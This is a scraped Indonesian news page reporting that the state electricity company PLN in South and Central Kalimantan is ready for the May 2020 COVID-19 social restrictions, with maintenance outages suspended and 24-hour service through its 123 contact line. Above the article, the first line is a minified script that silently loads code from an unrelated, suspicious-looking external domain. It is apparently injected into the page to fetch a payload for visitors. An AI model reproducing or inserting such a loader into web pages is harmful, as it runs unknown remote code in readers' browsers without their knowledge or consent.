(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (PLN UIW Kalselteng) menyatakan sudah siap dengan penerapan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala yang sudah disetujui oleh Kementerian Kesehatan Republik Indonesia (Kemenkes RI) pada hari Senin (11/5/2020) lalu.
General Manager PLN UIW Kalselteng, Sudirman menegaskan sebelum ditetapkannya PSBB di berbagai wilayah daerah di Provinsi Kalimantan Selatan dan Kalimantan Tengah, PLN sudah berkomitmen dan siap memberikan layanan terbaik untuk masyarakat. Adapun upaya yang dilakukan PLN antara lain memastikan pasokan listrik tercukupi dan keandalan suplai listrik kepada masyarakat tetap terjaga dengan baik.
“Semenjak Pemerintah Pusat sudah menetapkan Covid-19 sebagai bencana nasional, PLN sudah berkomitmen penuh mendukung Pemerintah dengan memperkuat keandalan suplai listrik untuk masyarakat agar dapat tersalurkan secara terus menerus selama 24 jam,” tegas Sudirman, Selasa (12/5).
Sudirman mengasakan pihaknya juga membuat kebijakan untuk menghentikan kegiatan pemeliharaan listrik terencana secara offline (padam). Itu artinya PLN tidak akan memadamkan listrik untuk melakukan pemeliharaan, kecuali ada insiden diluar kendali yang sangat mendesak.
Selain itu untuk meningkatkan layanan kelistrikan jika terjadi gangguan jaringan listrik, PLN sudah menetapkan petugas siaga 24 jam yang akan bergerak cepat menangani pengaduan dan keluhan masyarakat.
“Pemeliharaan listrik sudah kita hentikan, kecuali sangat mendesak. Jika terjadi gangguan kelistrikan, kami harap masyarakat segera melapor melalui layanan Contact Center 123. Masyarakat lapor, petugas secepatnya akan melakukan tindaklanjut. 24 jam petugas kami siap siaga melayani masyarakat,” jelas Sudirman.
Sudirman memastikan meskipun tengah dihadapi situasi Covid-19, petugas PLN tetap bekerja normal seperti biasanya dengan tetap memerhatikan protokol pencegahan Covid-19 dari WHO. Jika terjadi gangguan jaringan listrik, PLN sudah menetapkan petugas siaga 24 jam yang akan bergerak cepat menangani pengaduan dan keluhan masyarakat.
“Di tengah situasi seperti saat ini, ketersediaan tenaga listrik merupakan kebutuhan vital yang tidak boleh mengalami penurunan maupun berkurangnya kualitas. Jika terjadi gangguan kelistrikan, kami harap masyarakat segera melapor melalui layanan Contact Center 123. Masyarakat lapor, petugas secepatnya akan melakukan tindak lanjut.
24 jam petugas kami siap siaga melayani masyarakat,” ungkapnya.
Sudirman menambahkan layanan kelistrikan lainnya yang tidak kalah penting seperti permohonan pasang baru listrik, permohonan penambahan daya dan permohonan penyambungan sementara juga tetap dilayani oleh PLN seperti biasa tanpa ada penurunan kualitas pelayanan.
“Pelanggan yang ingin melakukan permohonan tambah daya ataupun pasang baru dan penyambungan sementara tetap kita layani, terlebih dengan meningkatnya penggunaan listrik saat masyarakat akibat stay at home, maka tambah daya bisa menjadi solusinya,” ujarnya.
Sebagai tambahan informasi, saluran resmi layanan kelistrikan PLN dapat melalui Contact Center PLN 123 yang dapat diakses melalui ponsel (kode area+123), telepon 123, email pln123@pln.co.id, Twitter @pln_123, Facebook PLN 123 dan website www.pln.co.id. Pelanggan juga bisa mendaftar melalui Aplikasi PLN Mobile (Android/IOS).(Kanalkalimantan/hms)
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.